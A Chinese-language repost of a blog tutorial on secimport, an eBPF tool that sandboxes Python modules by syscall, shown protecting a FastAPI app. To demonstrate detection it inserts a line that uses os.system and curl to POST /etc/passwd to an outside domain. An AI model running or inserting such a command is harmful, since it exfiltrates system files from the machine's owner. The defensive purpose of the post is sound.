使用eBPF技术保护FastAPI安全

news/2025/10/10 20:12:39/文章来源:https://www.cnblogs.com/qife122/p/19133790

使用eBPF保护FastAPI安全

关于API安全

FastAPI拥有约24万行代码:

➜ fastapi git:(master) git ls-files | xargs wc -l
240562 total

API应该独立于操作系统运行,避免依赖操作系统内存或文件系统(在大多数情况下)。API被设计为无状态、直接且不复杂。它们包含应用程序接口和数据库操作,不断进行大规模通信。

对黑客来说,API因其宽松的一体化特性和重大影响而成为有价值的目标。处理请求并通过TCP应用协议返回各种状态代码(表示成功或错误)是它们的主要角色。

依赖项中的漏洞

2022年,log4shell暴露了一个关键问题。Log4j设计用于日志记录目的,但在大多数面向互联网的Java服务器中通过HTTP头解析漏洞被利用。此漏洞允许攻击者打开本地LDAP服务器并在目标HTTP服务器上执行命令。这引发了一个问题:为什么日志记录库应该具有在主机上进行网络连接和执行命令的能力?此类功能应仅显式启用,而不是默认启用。

PyPi恶意软件包的便利性

2023年,pypi.org(Python包索引)因安全事件数量超过审核人员的处理能力而不得不暂时关闭。虽然我们仔细选择依赖项,但不应犹豫使用它们。依赖项不应具有在没有明确权限的情况下进行网络连接或运行进程的能力。Python代码可以在安装、导入和运行时执行任意代码。

解释器的主导地位("解释器为王")

Python缺乏强大的权限管理是一个令人担忧的问题。由于共享内存(sys.modules)、线程和其他因素,管理代码中的每个模块可能具有挑战性。

虽然有些人可能持不同意见,但我相信明确定义的能力使程序更可预测。

实时追踪Python系统调用

在第一篇博客文章(第1部分)中,我探索了各种追踪工具。我已经在Mac和Windows上使用DTrace进行追踪和运行时,但我想要一个更好的解决方案,该方案仅适用于Linux,并使用eBPF。

我将bpftrace整合到secimport中,这是一个基于eBPF+LLVM的工具包。bpftrace因其快速的学习曲线和稳健性而成为最佳选择。

bpftrace真正卓越之处在于它能够利用LLVM将用bpftrace语言编写的高级用户定义脚本编译成高效的BPF代码。结果令人印象深刻!

Secimport

由eBPF提供支持的Secimport通过为Python提供安全沙箱来解决这些问题。使用secimport,可以为代码中的每个模块指定特定的系统调用,以在运行时以极低的成本保护环境。

使用USDT和内核探针,secimport追踪并保护Python运行时。它使开发人员能够重新控制包操作并保护其代码。

让我们在主机上安装secimport(本例中为Linux):

$ pip install secimport

可用的secimport命令包括:

  • secimport trace:通过运行Python程序或指定运行进程ID来追踪其行为。系统调用按模块记录到文件中。
  • secimport trace_pid:按PID追踪运行进程。
  • secimport build:从追踪记录构建新的沙箱环境。
  • secimport run:在沙箱环境中运行Python进程。
  • secimport interactive:通过记录Python解释器行为创建新的定制沙箱。非常适合小代码片段和评估。它实际上按顺序运行secimport trace、secimport build、secimport run。

从头创建新的secimport沙箱

要从头创建新的沙箱环境,可以使用docker容器:

git clone https://github.com/avilum/secimport.git
cd docker
./build.sh # 构建bpftrace docker,以支持现有内核(也支持Mac)
./run.sh   # 启动新的临时容器

您可以使用secimport interactive开始构建沙箱:

root@1fa3d6f09989:/workspace# secimport interactive
- 将打开一个python shell
- 行为将被记录
确定?(y): y
追踪: ['/workspace/secimport/profiles/trace.bt', '-c', '/workspace/Python-3.10.0/python', '-o', 'trace.log']
按CTRL+D停止追踪;
Python 3.10.0 (default, Mar 19 2023, 08:34:46) [GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import this
>>> exit()
$ secimport build
eBPF沙箱: sandbox.bt
$ secimport run
Python 3.10.0 (default, Mar 19 2023, 08:34:46) [GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import this
>>> import os
[SECIMPORT违规]: <stdin> 在深度0调用系统调用ioctl
[SECIMPORT违规]: <stdin> 在深度0调用系统调用ioctl

STOP和KILL标志

使用--stop_on_violation和--kill_on_violation防止执行

如果您知道自己在做什么,并且定义了足够好的策略,我鼓励您使用这两个非常有用的标志:

root@1bc0531d91d0:/workspace# secimport run --stop_on_violation
>>> import os
>>> os.system('ps')
[安全配置文件违规]: <stdin> 在深度8022调用系统调用56
^^^ 由于系统调用违规停止进程85918 ^^^
进程85918已停止。root@ee4bc99bb011:/workspace# secimport run --kill_on_violation
>>> import os
>>> os.system('ps')
[安全配置文件违规]: <stdin> 在深度8022调用系统调用56
^^^ 由于系统调用违规终止进程86466 ^^^
已终止。沙箱退出;

如何保护API免受远程代码执行?

让我们尝试保护给定代码免受此类场景的影响。我将快速使用FastAPI程序作为示例(来自他们的快速入门):

from fastapi import FastAPI
import uvicornapp = FastAPI()@app.get("/")
async def root():return {"message": "Hello World"}if __name__ == "__main__":uvicorn.run(app, host="0.0.0.0", port=8000)

步骤1:追踪您的应用程序

您可以使用以下方法之一来追踪Python应用程序:

  • secimport trace 将使用eBPF追踪脚本运行您的应用程序以进行系统调用。

    secimport trace main.py
    
  • secimport trace_pid 将追踪事先启动的运行进程。

    secimport trace_pid 28 # 其中28是已运行的python进程
    
  • secimport interactive 可以追踪交互式shell,适用于中小型代码片段(而不是像main.py这样的入口点)。

    root@0584e98a4b5c:/workspace# secimport interactive
    让我们用secimport创建我们的第一个定制沙箱!
    - 将打开一个python shell
    - 行为将被记录
    确定?(y): y
    ...
    

高测试覆盖率很有帮助,因为我们可以运行测试套件,并在逻辑被覆盖时期望相同的系统调用。

您还可以使用eBPF在生产环境中安全地记录行为,使用'secimport trace_pid 123'。它附加到运行进程,并能够记录所有系统调用,按代码中的模块分类。

我们已经追踪了我们的程序。让我们从这个追踪记录构建沙箱!

步骤2:从追踪记录创建YAML/JSON策略

我们构建一个bpftrace脚本,该脚本被转换为监督进程的eBPF代码。

secimport build <flags>

步骤3:在eBPF沙箱内运行Python应用程序

secimport run main.py <flags>

处理违规

我们使用secimport运行main.py,它运行良好。让我们看看如果添加以下恶意行会发生什么:

@app.get("/")
async def root():
+++ import os;os.system("curl -X POST -d "$(cat /etc/passwd)" mydomain.com')return {"message": "Hello World"}

默认情况下,secimport将记录违规 - 因为我们使用"os.system"运行命令。

如果我们想在检测到违规时终止或停止应用程序,secimport可以向受监督的子进程发送信号 - SIGSTOP或SIGTERM,就在系统调用实际执行之前!

secimport能够干扰进程并在违反您定义的策略时阻止它。

在违规时停止进程

root@0584e98a4b5c:/workspace# secimport run --entrypoint main.py --stop_on_violation
[警告]: 此沙箱将在违规时向程序发送SIGSTOP。
INFO:     服务器进程已启动 [93]
INFO:     等待应用程序启动。
INFO:     应用程序启动完成。
INFO:     Uvicorn运行在 http://0.0.0.0:8000 (按CTRL+C退出)
|[安全配置文件违规]: /workspace/main.py 在深度174387调用系统调用56
^^^ 由于系统调用违规停止进程2446 ^^^
进程2446已停止。

如日志所示 - 通过向"secimport run"添加"--stop_on_violation"标志,沙箱停止了进程,它根本没有发送HTTP响应:

页面未加载!空响应。这是我们预期的,因为策略被违反了。

在违规时终止进程

如果我们想终止进程,而不是停止它怎么办?

root@0584e98a4b5c:/workspace# secimport run --entrypoint main.py --kill_on_violation
[警告]: 此沙箱将在违规时向程序发送SIGKILL。
INFO:     服务器进程已启动 [100]
INFO:     等待应用程序启动。
INFO:     应用程序启动完成。
INFO:     Uvicorn运行在 http://0.0.0.0:8000 (按CTRL+C退出)
[安全配置文件违规]: /workspace/main.py 在深度173398调用系统调用56
^^^ 由于系统调用违规终止进程2455 ^^^
已终止。沙箱退出;

如预期的那样,进程被终止了。在我看来,这太棒了!

如何处理错误?

我建议有一个宽限期,在此期间所有"错误"都被记录而不是主动响应 - 这是默认行为。如果您知道自己在做什么,并且覆盖了所有想要允许的用例,请使用stop_on_violation或kill_on_violation不安全标志来阻止攻击,而不是记录它们。

结论

想象一下,在每个Python存储库中都有一个公共的"capabilities.txt"文件,定义模块可以执行的系统调用。

当然,当前解释器不支持这一点,但这种精确的规范将阐明模块的行为,不留歧义。

程序员应该清楚地了解其代码的操作,包括网络通信、文件系统访问、sudo权限、套接字绑定、进程管理(fork/spawn)、内存操作(mmap、unshare、shm)等。

感谢您阅读到这里。我希望我鼓励您使用secimport保护当前的应用程序。我可以帮助这个过程,只需在GitHub上打开一个问题。

  • 第1部分:在代码中沙箱化Python模块
  • 第2部分:使用eBPF保护PyTorch模型
  • 源代码和示例:https://github.com/avilum/secimport

顺便说一句,我在业余时间做这个。我真的很喜欢咖啡!

Avi在业余时间让互联网更安全

我是一名面向业务的工程师,热爱安全和AI,具有深刻的安全洞察力。我喜欢破解云...
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/934377.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

项目案例作业2:对案例进行面向对象分析

学生管理系统面向对象分析报告 小组成员:李天瑞 202421336012 目录学生管理系统面向对象分析报告1. 案例中哪里体现出了封装性及其好处?封装性的体现封装性带来的好处2. 案例中的setter/getter模式与封装性什么是set…

20251010周五日记

20251010周五日记今天十点多回学校了,好不容易不下雨了。没想到国庆还真加了那么多天班= = 今日: 1.早上吃完早饭收拾东西慢慢悠悠回来了,打印朋辈表多亏师哥妙手回春。准备去开学代会,说来又要翘课了。 2.中午吃了…

k8s 主节点重启后 从节点 get 异常 - 教程

k8s 主节点重启后 从节点 get 异常 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "…

多维索引技术优化数据湖查询性能

本文介绍了一种通过多维索引技术优化数据湖查询性能的解决方案。该技术可直接集成到现有数据湖架构中,支持跨列复杂过滤,提升查询速度最高达6倍,同时降低70%计算成本,兼容主流计算引擎无需重构数据管道。Qbeast获7…

训练笔记:博弈杂题

[7-/7] A. 黎明\(1\sim n\) 排成一个环进行约瑟夫(隔一个删一个),求有多少个时刻,被删除的数的异或和为 \(0\)。 多测 \(10^5\) 组,\(n<10^{18}\)。hint:考虑把约瑟夫的过程分解为 \(\lceil\log n\rceil\) 个…

HTML5拖放API核心功能解析

好的,我们来详细解析一下 HTML5 拖放 API 的核心功能。 HTML5 拖放 API 允许用户在浏览器中抓取一个元素,并将其拖放到另一个位置。它原生支持在浏览器标签页、甚至不同浏览器、乃至桌面应用之间拖放,是现代 Web 应…

[USACO07NOV] Telephone Wire G

dp题,做法有点套路但是一开始没想到。 设 \(dp{_i}_j\) 表示第 \(i\) 位为 \(j\) 的最小花费。 然后直接往下转移就好了。点击查看代码 #include<bits/stdc++.h> #define fir first #define sec second #define…

springboot配置多个数据源

springboot配置多个数据源在我们的实际业务中可能会遇到;在一个项目里面读取多个数据库的数据来进行展示,spring对同时配置多个数据源是支持的。 使用到的框架:springboot+mybatis 方法:在配置文件中配置多个数据源…

Umi-OCR_文字识别工具 免安装使用教程(附下载安装包)!永久免费,开源离线OCR识别软件下载

软件介绍 在外面日常工作汇中,我们经常需要将图片、截图中的文字转换为可编辑文本。Umi-OCR应运而生——这是一款完全开源免费的离线OCR识别工具,无需联网即可本地完成高精度文字识别,保护你的数据隐私同时确保高效…

常量指针 和 指针常量

常量指针 和 指针常量Posted on 2025-10-10 19:52 steve.z 阅读(0) 评论(0) 收藏 举报如何牢记 “常量指针” 和 “指针常量” 的区别?🧩 一、先看词序规律:「前修后主」 在汉语里:前面的词修饰后面的词。比…

PyTorch 神经网络工具箱完全指南 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Apache POI:Java操控Office文档的利器

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

【汇总】OPPO r9m 分区名、分区功能

一、分区名、分区功能编号 分区名 英文说明 中文说明 备注、示例0preloaderfastboot 底层系统初始化程序分区 比 u-boot 更底层1pgpt2recovery系统救援工具、维护手机类似电脑PE系统3para4reserve15reserve26reserve37…

完整教程:LVDS系列30:Xilinx 7系 ADC LVDS接口参考设计(一)

完整教程:LVDS系列30:Xilinx 7系 ADC LVDS接口参考设计(一)2025-10-10 19:48 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !import…

【JAVA】从入门到放弃-01-HelloWorld - 指南

【JAVA】从入门到放弃-01-HelloWorld - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &quo…

离线应用程序

离线应用程序(也称为离线Web应用程序或PWA,Progressive Web Applications)是一种使用现代Web技术开发的,能够在没有网络连接的情况下运行的Web应用程序。这类应用通常使用服务工作线程(Service Workers)、缓存存…

2025表面瑕疵检测厂家TOP5推荐:表面瑕疵检测,薄膜瑕疵检测,瑕疵检测设备,瑕疵在线检测,铝箔瑕疵在线检测,外观瑕疵检测机,薄膜瑕疵检测仪,陶瓷膜瑕疵检测各种类型检测,精准高效的质量守护

在当今制造业高质量发展的背景下,表面瑕疵检测已成为保障产品质量的关键环节。随着人工智能和机器视觉技术的快速发展,表面瑕疵检测设备在精度、速度和智能化程度方面都实现了质的飞跃。这类设备通过对产品表面的划痕…

表格识别:不仅能识别文字,更能理解表格的结构和逻辑关系,实现输出可编辑、可分析的结构化数据

在日常工作和商业运营中,表格以其结构化的方式,承载着海量的关键信息——从财务报表、医疗处方到物流单据和调查问卷。然而,这些信息一旦被打印或扫描成图片,就变成了“数据孤岛”,无法被计算机直接理解和处理。传…

同步FIFO

一、原理介绍 FIFO(First in, First out),顾名思义是先入先出存储器,数据的写入顺序和读出顺序一致。 一条数据流中有两个模块A和B,B接收A处理好的数据。假如A处理10个数据的时间,B只能处理5个数据,那么就会丢失5…